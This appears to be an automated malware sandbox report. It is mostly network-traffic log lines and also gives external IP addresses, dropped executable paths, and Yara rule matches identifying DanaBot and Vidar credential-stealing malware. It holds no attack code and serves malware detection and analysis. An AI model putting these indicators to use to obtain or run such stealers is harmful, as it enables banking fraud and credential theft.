Source: unknown	Network traffic detected: HTTP traffic on port 50187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50347 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50335 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50370 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50407 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 50313 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50259 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 50369 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 50420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50337
Source: unknown	Network traffic detected: HTTP traffic on port 50277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50339
Source: unknown	Network traffic detected: HTTP traffic on port 50386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50338
Source: unknown	Network traffic detected: HTTP traffic on port 50546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50392 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50330
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50333
Source: unknown	Network traffic detected: HTTP traffic on port 50225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50332
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50335
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50334
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50347
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50349
Source: unknown	Network traffic detected: HTTP traffic on port 50505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50341
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50344
Source: unknown	Network traffic detected: HTTP traffic on port 50339 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50343
Source: unknown	Network traffic detected: HTTP traffic on port 50243 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50346
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50345
Source: unknown	Network traffic detected: HTTP traffic on port 50289 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50197 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50359
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50358
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50351
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50350
Source: unknown	Network traffic detected: HTTP traffic on port 50317 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50353
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50352
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50355
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50354
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50357
Source: unknown	Network traffic detected: HTTP traffic on port 50374 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50356
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50360
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50213 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50369
Source: unknown	Network traffic detected: HTTP traffic on port 50255 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50361
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50364
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50363
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50365
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50368
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50367
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50371
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50370
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50478 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50538
Source: unknown	Network traffic detected: HTTP traffic on port 50315 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50532
Source: unknown	Network traffic detected: HTTP traffic on port 50350 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50536 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 50444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50303
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50308
Source: unknown	Network traffic detected: HTTP traffic on port 50173 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50549
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50300
Source: unknown	Network traffic detected: HTTP traffic on port 50201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50543
Source: unknown	Network traffic detected: HTTP traffic on port 50233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50315
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50557
Source: unknown	Network traffic detected: HTTP traffic on port 50384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50556
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50317
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50316
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50319
Source: unknown	Network traffic detected: HTTP traffic on port 50548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50318
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50551
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50550
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50311
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50310
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50312
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50554
Source: unknown	Network traffic detected: HTTP traffic on port 50454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50349 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50326
Source: unknown	Network traffic detected: HTTP traffic on port 50503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50325
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50328
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50327
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50329
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50320
Source: unknown	Network traffic detected: HTTP traffic on port 50245 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50561
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50322
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50321
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50324
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50323
Source: unknown	Network traffic detected: HTTP traffic on port 50290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50296
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50295
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50298
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50297
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50299
Source: unknown	Network traffic detected: HTTP traffic on port 50286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50343 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50389 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50377 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 50331 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50549 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50481 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50365 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50527 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50259
Source: unknown	Network traffic detected: HTTP traffic on port 50424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50252
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50494
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50251
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50493
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50254
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50253
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50255
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50497
Source: unknown	Network traffic detected: HTTP traffic on port 50353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50499
Source: unknown	Network traffic detected: HTTP traffic on port 50456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50261
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50260
Source: unknown	Network traffic detected: HTTP traffic on port 50215 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50230 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50387 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50262
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50267
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50269
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50268
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50272
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50271
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50273
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50276
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50277
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50279
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50281
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50283
Source: unknown	Network traffic detected: HTTP traffic on port 50412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50282
Source: unknown	Network traffic detected: HTTP traffic on port 50341 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50287
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50289
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50288
Source: unknown	Network traffic detected: HTTP traffic on port 50375 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50539 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50293
Source: unknown	Network traffic detected: HTTP traffic on port 50491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50311 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50219 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50529 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50272 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50379 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50323 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50399 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50321 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50367 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 50438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50250 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50554 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50262 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50355 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 50519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 50471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50333 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50239 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 50508 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50395 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50154 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 50383 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50543 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 50416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50521 -> 443

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 116.203.11.8:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.0.209.157:443 -> 192.168.2.5:50022 version: TLS 1.2

E-Banking Fraud

Yara detected DanaBot stealer dll

Source: Yara match	File source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5fctr1d2dt.exe PID: 2460, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0040B846 CreateDesktopA,

1_2_0040B846

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.Handler.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: 22.0.5fctr1d2dt.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Finds Vidar samples based on the specific strings Author: Sekoia.io
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: C:\ProgramData\5fctr1d2dt.exe, type: DROPPED	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen

Source: C:\ProgramData\5fctr1d2dt.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041A051	1_2_0041A051
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00424071	1_2_00424071
